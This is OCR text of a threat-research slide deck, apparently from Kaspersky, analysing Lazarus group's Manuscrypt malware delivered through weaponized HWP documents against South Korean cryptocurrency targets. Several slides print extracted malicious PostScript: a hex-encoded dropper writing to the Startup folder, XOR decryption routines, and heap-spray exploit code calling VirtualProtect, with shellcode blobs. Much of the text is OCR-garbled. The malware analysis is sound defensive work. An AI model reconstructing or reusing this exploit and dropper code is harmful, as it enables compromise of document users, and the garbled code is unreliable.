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Who is Lazarus?

* Notorious APT group
« State-sponsored APT group LAZARUS
« Aimed at financial profit and cyber

espionage, sabotage

Well-known attack case 2013 — DarkSeoul cyber attack
> 2014 — SPE cyber attack
47407 2016 — Bangladesh bank heist
A

2017 — WannaCry outbreak
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About Manuscrypt

 From when?

= Start to use Manuscrypt from around 2013
= Use it actively until recent

« Connection?

= Many overlap with known Lazarus code style and C&C
Infrastructure

« Attack where?

= Usually attacked national intelligence before
» Recently, used when attacked financial sector
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Early stage of Manuscrypt

Decoy type Created Theme Sender

Word 2016-05-13 ge;(r)li%n Weekend November 4 — University of Southern California

Invitation to Seminar on
PDF 2015-11-04 “Northeast Asia Peace and Korea Ministry of Foreign Affairs
Cooperation Initiative”

Draft agenda for HMI Team

Word 2016-05-04 Meeting in June 2016

Stanford University

STRATEGY DIVISION MEDIA Strategy Division of United States

Word 2013-10-10° | ppATE — 20151221 Forces Korea
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Early stage of Manuscrypt

E hir

»

”

»

» "Wecall on all relevant parties to bear in . \
exer cueu.ﬁtmmr an:i maintain th mom MO

Sender

na urges restraint after N Korea put army on alert (Yonhap)

(,hma callcr' for “calm and restraint” on the Krrean Pcnlnaula on ‘“‘cmesdav a day after NK put its Universit Of Southern Ca”fornia

mlnary on full alert against a major joint —— " " T Tt oo e r e e e

i L
-

Korea's waming of a *horribie dlsastcr ¢ Ministry of
The defense ministry in Seoul declined t Foreign Affairs

South Korean Combined Forces Commi f Foreig n Aﬂ:al rs

Movember 4, 20

Invitation to Semina

"Northeast Asia Peace and Coop

Monday 16™ Now 20015

Meeting in June 2016

Word 2016

STRATEGY DIVISION M

Word 2013-10-10 | yppATE — 20151221

KASPERIKY=2



Attacks on
South Korea
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Status of cryptocurrency exchange of Korea

World TOP 10 Cryptocurrency Exchanges
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Continuous hacked Korea exchanges

tECh BUSINESS CULTURE GADGETS FUTURE STARTUPS
A bitcoin exchange in South Korea/{argest Cryptocurrency Exchange Hacked! Over $1 Million

being hacked, highlighting the per| Worth Bitcoin and Ether Stolen

year's stunning boom in digital cun e muesday suyos, 2017 & swsti knandetwa

Seoul-based Youbit said it was filing for bankruptd
clients' holdings in an attack Tuesday.

>

v
® W11 N00 [« 5% &

Digital currency trading is big business in South Korea

South Korea's spy agency believes that North
attacks on a crypto-currency exchange in the §

p :
South Korean cryptocurrency exchange hack sees $40m in altcoin
At least $7m (£5.25m) in digital money was stolen in == gtolen

maoney is now said to have ballooned in value to $82 7m. _ . . . )
y South Korean cryptocurrency exchange Coinrail has suffered a hack and lost some 30

The thieves also stole the personal information of some 30,( Percent of its coins worth U540 million.
N
They were trading the virtual currencies Bitcoin and Ethereum on the Bithumb

crypto-currency exchange. KASPERSKYﬂ




Infection vectors

MALICIOUS HWP

MALICIOUS OFFICE MALICIOUS APK
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Weaponized hwp

HWP file format

Hangul (also known as Hangul Word Processor or
HWP) is a proprietary word processing application
published by the South Korean company Hancom
Inc. -Wikipedia
Used by most government agencies and
government offices due to national software
activation policy of Government

The South Korea is one of the few countries
where MS Word does not rank first

|<Used>|Root  |Root Entry

| <Used>|Storage|BinData
|<Used>|Stream |BINOGOOL.gif
|<Used>|Stream |DocInfo

| <Used>|Storage|Scripts
|<Used=>|Stream |DefaultlScript
|<Used=|Stream |JScriptVersion
| <Used>|Storage |BodyText
|<Used>|Stream |Section®

| <Used>|Storage |DocOptions

| <Used>|Stream | LinkDoc
|<Used>|Stream |FileHeader

| <Used>|Stream |\xO5HwpSummaryInformat]|-

|[<Used=|Sirean |Seciivnl

|unused |Empty |

deeen- eeen- $eeee- +
|Left |Right|Child]
deeen- eeen- $eeee- +
|- |- 13 |
|- |- 12|
113 |- |- |
17 - |
|- |- 15 |
|- 6 |- |
|- |- |- |
4 |11 |8 |
| - |14 |- |
| - | - |16 |
| - | - | - |
19 [12 |- |
| | - | - |
| | | |
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Decoy and targets

Resume Cryptocurrency Legal issues
Resume of mainly financial related person Any cryptocurrency related news/contents Related to lawsuit or audit
Some decoy include victim company name  Cryptocurrency market expectation Forms about legal issues

Jong@nenman.net

SEAAALS

ong
ey

AR A% A% FARR
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Relationship

Last saved user name
@ Author name
@ Malicious hwp

£

1d2d02ad7b0f58764d7a6465bccda927

a687afc6a4540e5d44078aa933feechg

alosha

a32efle0b51635528b4df02dc44267

¥
*
%

YY WEE

Administrator

4 ®

25892a400c85fd1a5053caScaca7a2a?

1738adccd79f6a9d0df5650

£

270d0987148b950f2066bbbab




Postscript Type #1

D&f Direct drop from embedded

ascii hex string

— Postscript has asciihex-format
executable

— Drop file %startup% folder for
persistence mechanism

— Dropped file is Manuscrypt

~——  Structure N

Drop and

_ e

Yoconcatstrings » <a» Ch) —> Cahl
L

exch dup length
2 index length add string
dup dup 4 2 »0ll copy length
4 —1 »o0oll putinterval

} bind def

sdatastring 1824 string def

£

] Ctemp? getenw

b, . . .

stmppath exch def Creation path (+persistence mechanism)

Soconcatstrings tmppath o osso s RoamingssMicrosof txsWindows s~

Etart Menu~“Programszsss3tartup*“iTune .exe )
concatstrings “wr fi1le ~sout exch def

£
Eurrentfile datastring readhexstring
N out exch writestring
i
dup length B gt
{fout exch writestring} {popr ifelse
exit
*ifel=ze
¥loop
out closefile
>
1
exit
¥ ifelse

Ybind
exec gsciihex type payload

4d5a7888A3A0AAAAAR4AAAAAATL f f f ARAALE AIRRAHEAHHHHHH41HHHHIEAARRRARRRRRBARARARAARARARARARAAA
HEHIERAEEAARRRRAAARARRARAARRRENEEHHEEHEHH: BHHHHHHHe 1 £ haBe BAh4A?cd21 b8A1dccd2154
6B6273207A7261F6772616d2863616ebeb6f 742062652A72756e 20696204441 5320646 64652Ad4A
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Postscript Type #2

#»!*PS—Adobe—-3.8

yinzi 4 token pop exch pop > hind def

sugaoshi e -

lfyima{ﬁ' CIB4ERBASS dof | 4-bytes XOR key
funcA exch def

A1 funcA length 1 sub <
funcB exch def

funcA funcB 2 copy get yaoshi funcB 4 mod get xor put
7 For Encrypted postscript and shellcode
uncH

I‘

g h5 W2 he g B 18 3l A /bhcec/eHabbhidl HE Ve bbb Md /hhil dddh3 B
Eahh?i?a?ﬁcfﬂi?hﬂdcEE??FEPCeE?EB?fhf?4Eh??hh?4ﬁf?hcdﬂ?ﬁdﬂace?cﬂﬂ?ehh?ﬁﬂﬂ?ehh?ﬁJ
17bhbh3877dAdb376 7?d Yacd PdBA?E ceB6Bf Bdbh 7408 Pebh?58d ?dbe ?3000ccf Pc7a Y cB?dBbh Yo ca?1B
Fehe?27d76h37?7ABAL bh75A8 Yec? Ve PeMf cddl Bl Yo ca 4807 7hE ?1@aPabf 71 7d76he 71 088f hh75E
B ec?Pc?dBhb27A7a78be 750077 718a7ab8717d 76 hd7IA8BE hhY588 Yec? Y cBdBabf 71 0e 7 cdBAH

Boeea2lScbef8314d2cd4245c2af7654f 3ce2315d7db?4f5e2Ye20672fef 21 dabeba?31 b /b3655
?2aefb5h4a2hff1a592aef371839F22c4c2hbh8773222ee24532hef1a5%3cf 72441 bebhabb5F 2hF FRL5
h22e4365d28e2295d44f adA513aB13858> yima yinzi exec

AR TN LMY B f B R BRENY BN BENE BN EHRY RN DR RN BN BHNE RO BRI EHa ot

poB-Q=c5J? i7?YHcBRY B*Lné 1<_+1'8ei@0el?i C+ON{EBN{E"==GDiI¥IDi TTDyMTdcﬁmﬂymmdc;
y"lﬂll:lt:m‘l[Ey‘lﬂEl 150 ING ] 458 yINE] Pﬁ‘ﬂy‘lﬂﬂu‘lﬂy‘lﬂmymy‘lﬂl"l I—Eﬂy"lﬂl"i,‘llﬁﬁy‘lﬂl"l E‘Iﬁ;.:"lﬂl"l
e—DijTMEN<EBN<{ESH<{EBN<Eh&<Et 0ZEiMe-8H<EBN<EON:d30 . EB5<EB&SEBH<ERj<E8 {EEE{H
-N{UB“{EBL{E HSESH<E=HSESH<E8~E8J<ES8H<E:HEDEBM>ERB"<ES8H>E8“{EBH<{E{H<E,.~SEgH<{Ed~5E
N<{E8n:»E00<EBN{EEN{EBN{EBN<E8 "% EMR<E"DSE N<{EEN{EBN<ES8N<EBN<{EBH{EBN{EADSExN<EBN<E
BM<EBZ<{ER0<EBN<{EBN<{EBH<{EBN<ESN<EBN<Ea: i =LN<{E0®=<{EB " {E8H<{EBJ{EBN{EBHN<{EBM<ETH{»a{i5
LA<Ez1<E8Z<{EBTKEBA<EBH<EBH<ESNH<{ExN{*a=t 1 YH<E2pn{EBnSE82{EBFSEBH<{EBH<EBN<ExHN{ . a%0
[H{EQOO<E8n+ESL{EB2SEBN{EBH<ESBN<ExN #a{iW—<{ENMR{ER"~+E8"<EB "SEBH<EBH<{EBN<{ExN< =BHN<E
HAN<ESN{EBN{EBN{EBM{EEN<ESN<EBN{EBN{EBN{EEN{EEN<EBN<ESN{EBN{EBN{EBM{ESN{EBN<{EBN<E
SHN<ESN{EBN{EBN{EEBM{EEN<ESN<EBN{EBN{EBN{EEBM{EEN<{EBN<EBN{EBN{EBN{EEBM<{EBN<{EBN<{EBN<E
SN<ESBN{EBN{EBN{EBM{EEN<ESN<EBN{EBN{EBN{EEBN{EEN<EBN<EBN{EBN{EEBN{EEBM<{EBN<{EBN{EBN<E
BN{EBN{ESN{ESN{EBN{EEBN{EBN{ESN{EEN{EEN{EBN{EBN{ESN<{ESN{ESN{EEN{EBN{EmfgluBY 133fA
s°Eun (CIu38Yloa=# ili—« <{UilGaBH weS>Al:+5&A<317<E?] "U3ERJ7OUTRLI-1HM{Ex»8 >=3"0

Encrypted Manuscrypt executable

D@{ Has encryption stage with 4-bytes
XOR key

— Use Chinese variable name
l.e.) yaoshi, yima, yinzi

— Decrypt real postscript/shellcode with
hardcoded XOR key

~——  Structure

Decrypt
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Postscript Type #2 — Decrypted data

.

shellcode {BBESE?FDADAAAASSEBECS8E4DA4BEDDCCEBBAAERA1 413781 75FBSDEYBRARAAAASSEBEC
83E4F881 EC7CA1AAARAS 3568 ED?B?CE38A44057ERR2ANMARAB? F1 FD98A1 89442 444E8740AAARAE? EE
?5B65A89442434F866BAAAABB?5D4461 FERT44242CERS8AARAAABYAES 7?2 3FB BFAES 4CHARARBAEY C5
{DEBDE?89442430ES IJEBNAAAAB?58A453ES 8744242 4EB 300N BAAAB? FABSA25689442428ER22BN000E

final_array 16#1 array def
Spray
first_array aload
16#18 { second_array aload ¥ repeat
16#188 { rzp_str 16H152F string def? repeat
B 1 str_count 1 sub {
scontrol_string 16#152F string def
B 1 control_string length 1 sub {
control_string exch 1 put

> for
buffers exch control_string put
¥ for
> bind def
readsd <

saddr32 exch def
sidxmem adde32 —15 hitshift def
soff adde32 16H7FFF and def
secur_buf leaked_array idxmem get def
cur_huf off get
cur_buf off 1 add get 8 hitshift or
cur_buf off 2 add get 16 hitshift or
cur_huf off 3 add get 24 hitshift or
 bind def
write3d2 {

#wal exch def

pf_execfile base_addr 12 add read3d2 4 add read32 4 add read3d2 4 add read32 def
hGSDLL32 pf_execfile FindPE def

hKernel3d2 hGSDLL32 (KERMNEL3Z.DLL> GetImportModule def
pflirtualProtect hKernel3d2 (UirtualProtect? GetProcAddress def
pfExitProcess hKernell2 (ExitProcess? GetProcAddress def
wchg_ret hGEDLL32 <94C3> search_str def

ret_addr xchg_ret 1 add def

ret_BC hGEDLL3I2 <C2BCHA> search_str def

leaked_array 1 shellcode put

shell_addy bhase_addr 12 add read32 def

leaked_array 1 16#188 string put

stub_addyr base_addr 12 add readl2 def

null_stub stub_addr def

null _stub null_stub 4 add write3d2

null_stub 4 add B write3d2

zhell_stub stub_addr 16#38 add def

leaked_array 1 currentfile put

file_addr base_addr 12 add read32 def

tub_addr null_stub writel2

tub_addr 4 add shell_stub writel2

hell_stuh ret_HAC writeld2

hell stub 4 add ret_addr writel2

hell stub 16HAC add xchg_ret uwrite32

hell_stub 16#14 add pfUirtualProtect write3d2

hell _stub 16H#18 add shell_addr write32

hell _stubh 16#1C add shellcode length writed2

hell stub 168428 add 16#48 writed2

hell_stub 16#24 add shell _stub write32

hell_stub 16#2C add pfExitProcess writed2

ile_addr 16#BA add stub_addr write32

ile_addr 16#78 add ret_addr writed2

leaked_array 1 get closefile

uit

hellcode to decr

payload and injec

Heap-spray

Exploit code

pt

Has encryption stage with 4-bytes

XOR key

— Decrypted data contains exploit code

and shellcode

— Trigger the postscript vulnerability and

execute shellcode

~——  Structure

N
Exploit,

Decrypt payload
and inject

KASPERSKY 2



Postscript Type #3-4

D&f Elaborated exploit code

— Remove decryption process
— Malware author elaborate exploit code

— Structure ~

EXploit

Decrypt &
Inject

Shellcode

Encrypted
Manuscrypt

A 28 a%2 1 sub { ~rab3 exch def ~abh4 abl a53 add 12 add alé def ab4 @ eqg { guit >
if a4? a54 add 14 a3d a3? ad48 a3? search { length B eq { pop pop pop ab1l a53 ad
d exit > if pop » if pop > for > bind def ~ab5 { ~ab6 exch def ~a57 exch def ~ab
8 aL? a56 ad? def ~a5? ab8 ale ab? add def ~ab6B a5%? alt def a6l B ne { ab8 16 ad
d al6é a57 add alé add4 > { @ >ifelse > bhind def ~rabl { ~ab2 exch def ~ad5 exch de
f sab3 B def ~a3B8 ab2 length def ~a58 ad45 dup 16#3C add alé add def <abd adh ab@
16#78 add alt add def ~abh abd 16#18 add alt def ~abb ad45 abd 16#1C add alb add
def ~ab? ad4bh ab4 16#28 add alt add def ~abB ad45 ab4 16#24 add alb add def B 1 a
65 1 sub { #ab? exch def ~#a7@ ad5 ab? ab? 2 hitshift add al6 add def a?@ a3 a3@
a62 search { pop pop pop ~a7l abB ab? 1 bitshift add a23 def ~ab3 ad5 abb a7l 2
hitszshift add ale add def exit »> if pop > for ab3d > bind def ra?2 { ~a38 exch de
f #a?3 exch def sa?4 exch def ~a?5% a4 length def a6 a?3 length def a%?5% a3f 1t
{/aBB a?’h def} 1f a?ﬁ adg 1t {/a38 a'?6 def} if /a39 A def B 1 a38 1 sub { /aﬁ?

d def sat? <8BE5E9HEBFBIBBEEBBECBB4DB4BBDDCCBBHHEBI14139@175FB5DE9@BBBBIBBEEBBEC
83E4F881EC7CHASPAAASI8BDYB?CR38A44A565 7895 C244CER27ACHABAEY F1FD?8A187442450E81 280
AARAB?EE?S B 5H8 Y442 43AERWBACAANEEY? S D4461 FEB 7442 448 ERFDABARAABYAER 79 2 3IFB BFWESF1 BB
HAREE?CLDEBDEYS? 14241 BEBEIABAARBE?S8N453ES8 744242 1ERDSABANAAB? FABSN25687 44242 CES
C70BB0AAETA8871D6A8 744243 4ERB? ABRAAABY 4713726 F8244245 4E8ABAEAAAAE? 1 3EF7AYS8BFEES
7FOBBBAAETBACDF? 238744241 CER 271 WBRAAABY 1EAT7C258944242AESE3ABAAAABI C6121 EVAE94424
44ER75HBEAAAAE 744243 CEDE424800ANEAA6GEA481 ARAASA6AAAFFD6LB BFAB?BB2FAF3A89 74241 BRERSH
HBEAHEBAB?81 3475 EEE? 44245 CES 120B0AAAE2 44245885 F6 /41 EBDEC2 480HHAAAAEBAS 431 FFBWFASCY4
BRABAFN2ZF 748583 EEA1 7SEDES 7424108304247 101 B0BBEAOEDEC2 18 ABAANEAAICECYS 4218 801 80BA15

D24CE8EC641FFD7488B4D7741 FFDS4C8B65 7F33 D241 FFC6 44383 70F8 266 FEFFFF4C8BC?33D2488BCE
41 FFD748 8 B4DBF41 FFD5428BC44881 C4A80080AA41 5 F41 5E41 5041 5CS5FLRESBSDC3CCCC4883EC2BER
IEDFFFFB251 572 AFREREYFRFFFFARBICA2RARFFEA> def ~a?8 { a9 exch def -<alfA exch d

ef saBl a?? length def { aB@ aB1 a3@ a7? a1l a%2 A eq ¢ exit * if ~aB@ af@ 1 add
def > loop aB8@ » bind def ald al# aload “aB2 true def ~aB3 B def { .egproc sal4d
true def ~#a6? B def a6 { ~al4 true def a3 a? ab? get def ~aB5 a3l length 16#28
ub def a3 aB5 get { a4 { ~a84 false def > { ~aB4 true def exit > ifelse > repe
t a4 { ~aB2 falzse def exit » if ~a6? a6? 1 add def > repeat aB4 { ~aB2 false d
f exit » if ~aB3 aB83 1 add def > loop aB2 { guit > { > ifelse a2 B a2 al aB% 16
18 add 16#7E put a3 a5 16#17 add 16#12 put a3 aB85 16#1A add 16#H88 put ad aBL 1
LGHIB add 16#8A put put 16#H18 { all aload * repeat <alb a2 A get 4 4 getinterval
def ~aB7 alb B get a6 1 get 8 hitshift or aBb6 2 get 16 hitshift or alb 3 get 24
bitshift or def B 1 15 { ~ab3 exch def ~a22 ab3 15 bitshift a8Y add def ~a21 ab
3 16HFFF and 3 bitshift def ~a6? a53 —12 hitshift def ~a2B8 a2 a6? get def aZ2B a2
1 16#7E put a2B@ a2l 1 add 16#12 put aZ2@ a2l 2 add 16HB8 put a2B8 a2l 3 add 16HE0
put a2 a2i1 4 add a22 16#HFF and put aZB a2l 5 add aZ22 —8 bitshift 16#FF and put
aZzfA a21 6 add a22 —16 hitshift 16H#FF and put a28 a21 ¥ add a22 -24 hitshift 16H#F
F and put > for 16 1 al 1 sub { “a53 exch def ~a22 ab3 15% hitshift def ~a21 aL3
16#HFFF and 3 bitshift def ~ab? a53 —12 hitshift def ~a28 a2 ab? get def aZB aZil
1eH7E put a28 a2l 1 add 16#12 put a2@ a2l 2 add 16#H80 put a2@ a2l 3 add 16HEA pu
t aZ2@ a2l 4 add a22 16HFF and put a28 a2l 5 add a22 —8 hitshift 16#FF and put a2
B a2l 6 add a22 —-16 bitszhift 16H#HFF and put aZB@ a2l 7 add a22 —-24 hitshift 16#FF
and put ¥ for a2 1 {1t> put ~aB8 aB? 12 add alt 4 add alé 4 add ale 4 add alée de
f ~aB? aB8 a4 def ~a%@ aB? (HKEBHEL32_DLL>» a55 def ~a%1 a%@ <UirtuwalProtect) abl
def ~a%?2 a?8 (ExitProcess? abl def ~a%?3 aB? {(?24C3> aY8 def ~a%?4 a?3 1 add def ~
a?h aB? <C2ACHAHA> aY8 def a2 1 a7? put ~a%6 aB87 12 add ale def a2 1 16H160 string
put ~a??7 aB? 12 add al6 def ~a?8 a?? def a98 a?8 4 add al? a%8 4 add 6 al? ~a??
a?7? 16#30 add def a2 1 currentfile put ~alB@ a87 12 add alée def a?? a?8 al? a??
4 add a?? al? a%?? a?% al? a?? 4 add a%4 al? a?? 16HBC add a?3 al? a?? 16#14 add
a?1 al? a?? 16#18 add a?6 al? a?? 16#1C add a?? length al? a?? 16#268 add 16#4B
al? a?? 16#24 add a?? al? a?? 16H2C add a%?2 al? al@@ 16#BA add a?? al? albd 16H9
8 add a?4 al? a2 1 get closefile guit

1iBdckt ot '¢c_c ' ¢gft ¢ T'cat'¢c T'¢ T ¢ T‘g T'c t'¢ T'g T'¢ toat gcrsle 1?7 awm?
47EKE—Qu=sAul, HUﬂEOBB TiEPgACEWACIwe  ZEmi, T ¢ T‘QSU¢Q_ZIU_21U_ZIUE¢GUBZIU*WUUﬁz
IU*WCUNZIU*HEUZZIU 2IUZZIU"EUUOZIUU.tTUI.IZIUtlt!’UBZIUutﬁ'UBzIU 2[UBZIUut UBZIUﬁqU?_z
IV t'¢ 1t gd]l'cilge—#a_ T'¢ 1 '¢Bthicdke *ag £ ¢ fTigrHee Qg Cag 17+ B¢ 2'clt’c 1
cltic tic Hfg v ¢ tigét = tpe O'c TP; B¢ t ¢t co?deet cligcgOt ¢ (fgl'¢ T 1
¢ T'c T'c 8fcBt'g t'¢c T'¢ T'¢ 1T'¢ ¢ T'c T'c T'cH®fcat’'c 1'¢ 1T'¢ xdcol'c T'c 1
‘¢ T'c t'c t'g T‘;Zli?ﬂT'gtBap Bc T ¢ T'¢ T'¢ t'g t'c?t Zj*+0y'ces"¢c Cagc T'¢ T
‘¢ T'c t°¢c Tt 'cat B} @"HT ;ﬂp ¢ hag t'c t'c t'¢ t'¢ Tt cat'’Zn
—?t'¢20ac oag t'g 1t° E T c T g 1 ;71‘-Zn
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Postscript type #5 — add XOR

D&f Elaborated exploit code

label6? exch def ~label?d labeld5 labelt? labelt? 2 bhitzhift add labellt add de
f label?d label38 label3Bd labhel62 search € pop pop pop <label?l labhel68 label6?
1 bhitshift add labhel23 def ~label6? labheldt lahel6t labhel?l 2 hitszshift add lab
Ui gid ot Shis S ok ) 51, IhpiCE ) bl e it bl S
— i ~labe BXC et ~labe BXC er ~labe abe engt er ~labe abe
e shuete i £ R e e
: g - s lahe ahe (] if Alahe (] abhe gL s lahe EXC e
— Add shellcode decryption script with  31:5e139 1abel?4 label6? get label?3 label6d get sub def label3? B ne fexit> if
> for label3? * bhind def ~label?? <8BEGEAT7117A303I56BBEFEAEYFBLLS488YERYIAFSRED
1‘byTQJX()FQ F3D823ADECFBBA?76AGERS9A3AIA34582FDAIA2A3IA3 1 EALCSDEBREAS ECASGBBEFL 255 3AFSBAG 344
YL138AYVGFFERGIBANIAIRGCI?PHEBEAEFFL 269 FCFCDIER 6 FFEECSS DCACASBC2RGCIVEA2CARE 4R
FAACEACE45 21 788D2ACE44A0054A68CA2ZBEE4/122FAR4 71 2 2BCAS 6 8B EFR 2EF?FAEA3MISAS5 5488 Fh
~—  Structure N BACEB3BAT743ER1 2000383 BAFZFEYEAZ8A46C3IERATYHAAIA3BAED?6B55 38N46DFEBF4ABA3A3IBASE4YG
2FD8A46BFEREYBAEAIAIBAADE491 3CBEF3ERDDARAIA3ZBACGDBEBEE48A46F?ERD2AEAIAIBASBA S AEL
EA46EYERCYABAIA3BAF3IBAA1S58A46EIEBE40MEA3IAIBABES 41 E638A46DBEBAYABAZAIEA441 3168

Postscript

— JAD14F8A4727234F8E46E4C446E81 7030303 C446 F40DA3A303C4460022030303C4460C09038303C

Shellcode 4461 8AEA3A3A3C446241183A303C44630180303803C4463CONA3A3A3IFCD44B884E64FCDS4F8ETF27
A30383834n8E581B4ABE/O234n88 782 B4ABBEAS ECACF4B8ASF278B4B8A6GF2 713488077271 B5 4488
Decrypt & 2EF530203034B88EAZADSBAF2FE?BA2ZEBI?FAFCFCBAS33A1DY14B88F3EE2EFAFCFCIAD1I BE48A1 FC
EXploit D3I4BEEFB4B8AFBFCY6A7IACIEE48C447272333020303BA24ANEBG4EBA4FAFCFC4ABBES 727234888 C

Postscript CFCD386C3V771FABBES 72 74F4BE8CEER1 3F?FCFCE6C377A4BABES 1 B2BEERD6EBLF2 72 B4B8 B CCFCDS
88CA4FBETF275302023034A88581 34088681 B4AE87A234A88EAS CCACF4B8BEF2 BEB1 4E4FCFCBA 441

Decrypt & A716CEBAAF1FCFC3ACA4BBACT2EABERCERCI AR daf A 1 1ahe 1?7 langth 1 zub { ~labell
Inject Bl exch def lahel?? dup IELIENRSERES - TR TN RSO Mliid + for AlahelV8
: <+ £ »#1label?? exch def Alabeidd exch det Alabelioi Tabel?? lemgim aef ¢ labelB@ la

Encrypted 32-bits Manuscrypt hel81 label3B label?? labelB8l label?2 B eq { exit > if ~labelB88 labelB88 1 add d

Encrypted 64-bits Manuscrypt
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Postscript type #6

L1 sub { Y62 exch def Y78 ¥45 Y67 Y69 2 bitshift add ¥i6 add def Y78 ¥38 Y3I0
Y62 zearch { pop pop pop Y7 Y68 ¥Y6? 1 bhitshift add Y23 def Y63 Y45 Y66 Y71 2
hitshift add Y16 add def exit *> if pop > for Y63 > bind def Y72 € Y38 exch de
Y73 exch def Y74 exch def Y75 ¥74 length def Y76 ¥73 length def ¥75 Y38 1t
£-Y38 ¥75 def? if Y76 ¥38 1t {-Y38B ¥/ def? if ~Y37? O def 8 1 ¥38 1 sub { Y09
wch def Y37 ¥74 Y67 get Y73 Y69 get sub def ¥3? @ ne {exit} if > for ¥39 > bhin
def Y77 <CAAS2429297CA2C5A2642D1AE?AB1521 F4ES22835D236914292829295BC6 74EAZAEL
4CATAZD2 2227 CAZCS P8 7A?F1IADF?AYBDACE? 8 YEARSCDSC1AC23292998426 ESFI?AZF1C1508232929
2D1ACDESDESA46CDS 2 D6 FATIDEFEAZSCDS P76 A2ZEF? Y 2A2CCY4EATCAZCSAACDDLAACS 65 PAYFAZFA
BE1118D627EC16F23292990D8D4B1 88AR6DAD19C111232922928CYBC2F7AB6DBD31C18323292978
ZAEBB16ABGDADADC1352322299AECF194CEABGDADAL C1 272322299881 DS CCPAB6DADA?C1292327
298021 AE344AB6DAD15C1DB2A2922A06DAD11C16 7D6D6EDEACE?SD3IBA2Z5221 A4AABDZA22292AGA2S
B6DAD3SC222ZA2522DA2ZDABZDEAASDAD3SA4658D61 ABSSAD3IDEEADADG]1 4C515245FEE6 DADG6S 46 5B4C
BEE6DBD??@74C51 4CEFADADYD2?C1EI222922A2D?ACDF26ADF4292929C12D2222297F432941 D6 D6
62906 7DAD1AZDIACDF26ADEB22 2229436241291 92222 A4A6BD2A2 2227843297 FDe ?DADISA2Z2D1AC
626ADB3222929A46DADAS 72065 DADI1 D65 DADADYEYFDG ?DADI DACE?S DS FA46DEDAS ?A26DAD31 41
D2A22227A2AEE??YFD6 7DADI DACEYSD?2C1A1D?D6D6ACE?SDASA46DAD1 226 7EE? ?71AE?4F263A6D

t ¥20 Y21 2 add 16#88 put Y20 ¥21 3 add 16#80 put ¥20 Y21 4 add Y22 16HFF and p
ut Y200 ¥21 5 add ¥22 -8 bhitshift 16#FF and put ¥28 Y21 6 add ¥22 —16 bitshift 1
6#HFF and put Y20 Y21 7 add Y22 -24 bhitshift 16#FF and put > for 16 1 ¥1 1 sub {
#%Y53 exch def ~¥22 ¥53 15 bhitshift def Y21 ¥53 16#FFF and 3 bhitszhift def -Y6?
Y531 12 hitshift def ~Y28 Y2 Y62 get def ¥20 Y21 16#H7E put Y20 Y21 1 add 16#12
put Y28 ¥21 2 add 16#88 put Y28 ¥21 3 add 16#88 put ¥28 Y21 4 add Y22 16#HFF an
d put ¥28 ¥21 5 add ¥22 -8 hitshift 16HFF and put ¥28 Y21 6 add Y22 —-16 hitshif
t 16#FF and put Y28 ¥21 7 add ¥22 —-24 hitshift 16HFF and put »* for ¥2 1 {1t} pu
t Y88 Y8Y 12 add ¥i6 4 add ¥i6 4 add ¥Yi6 4 add ¥Yi6 def Y82 Y88 Y44 def Y98 ¥
82 (KERWEL32.DLL>» ¥55 def Y21 Y98 (UirtualProtect? Y61 def Y92 Y98 (ExitProce
222 Y61 def Y93 Y82 <924C3> ¥78 def Y724 ¥93 1 add def Y95 Y89 {CZ2ACHAA: Y78 de
£ Y2 4 ¥ put AY?6 Y87 12 add Y16 def ¥2 1 16#16808 string put Y97 ¥Y8Y 12 add ¥
16 def Y78 Y97 def Y98 Y98 4 add Y17 Y98 4 add 8 ¥17 Y99 Y97 16#30 add def ¥2
1 currentfile put Y1808 ¥87 12 add Yi6 def Y97 Y98 ¥17 ¥97 4 add Y99 Y17 Y99 ¥
25 Y17 ¥Y9? 4 add Y74 Y17 Y99 16#BC add ¥9?3 Y17 Y97 16#d14 add ¥94 Y417 ¥?? 16418
add Y96 Y17 ¥99 16#1C add ¥7? length ¥17 Y99 16#20 add 16H#480 Y17 Y992 16#24 add
Yo Y47 ¥Y2? 16#2C add ¥92 Y17 Y100 16H#BA add Y97 ¥17 Y1660 16#?8 add Y74 Y17 Y2
1 get closefilefs

D@f Change shellcode function

— Same postscript to trigger vulnerability
— No more embedded payload
— Shellcode just has download function

~——  Structure

Postscript

Shellcode

Postscript

Download
Manuscrypt

Decrypt &
Exploit
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Change history of hwp attack

Drop embedded asciihex type payload .

* Remove shellcode/postscript decryption routine
« Elaborate postscript to trigger vulnerability
« Decrypt payload with 4-bytes XOR key

sn =000
e =2010-11-
160.188.116 pi

sn =000
ie =2010-11-

sn =000
ie =2010-11-
C C 160 188 116 p
24 m = 537 ms

‘nection Clos’
150.11.2°

Type #2 Type #3 Type #4

Start to use postscript vulnerability

Decrypt shellcode and exploitation
postscript with 4-bytes XOR

Decrypt payload with 4-bytes XOR key

24 m = 537 ms
‘nection Clos’
150.11.2°

Type #5

» Decrypt payload with AES algorithm

S5 160.188.116 pi

7\ 24 m=537ms

‘nection Clos’
150.11.2°

Type #6

Add shellcode encryption postscript with 1-byte XOR

Change shellcode just

download payload
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Change history of hwp attack

Type #1

——  Structure

Drop and
execute

Type #5

—  Structure

Type #2

——  Structure

crypt &
EXploit

Decrypt &
Inject

Decrypt

Decrypt &
Inject

Type #6

Type #3, 4
Structure

—

——  Structure

Download
Manuscrypt

Decrypt &
Exploit

EXploit

Decrypt &
Inject
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Change history of hwp attack

&

Type #1

/\ /\ sn = 00U sn =000 sn =00V
e =2010-11- e =2010-11- e =2010-11-
C C 160188 116 01 160.188 116 pi 5/ 160.188.116 pi
24 m = 537 me 24 m =537 ms 7\ 24m=537ms

‘nection Clos’ ‘nection Clos ‘nection Clos’

150.11.2° 150.11.2° 150.11.2°
Type #2 Type #3 Type #4 Type #5 Type #6
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Attacker vs Defender

ATTACKER
SIDE

DEFENDER
SIDE

[ ]
0

l

Direct drop from
asciihex string

Detect embedded
ascii type executable

Start to use Exploit
XORed shellcode + exploit trigger script
l

Polishing exploit script
4-bytes XOR decryption
l J

Replace to AES algorithm

Detect XOR Detect embedded shellcode in
postscript postscript
routine

Decrypt shellcode
with 1-byte XOR

L

Download payload
from remote server

Detect embedded
encrypted payload
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Shellcode comparison from each types

D& Different postscripts, but same shellcode

Easic Blocks 87 9% Jumps 51.9%

Similarity 0.63

Matched Functions

KASPERIKY=2



Shellcode comparison from each types

erent postscripts, but same shell

00401562 process_searching sub_0040170E 0040170E 004017EB sub_00401] 828 = Zam : sub_00401994 00401994

SecONDRrY — T Seconal;

process searching
Bracess_ssarching

oz
createmualhe lomapsht = cramtaTosThelpzmrepshat

process zerdirg

i eemm o = ProcszFirst 9 s Process it

¥ ¥

OMEED  process ooumssz = omTOE  mub oo e

Lo :
] [ e —
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Shellcode

D@f Shellcode execution flow

3B 04 37 mov eax, [editesi]
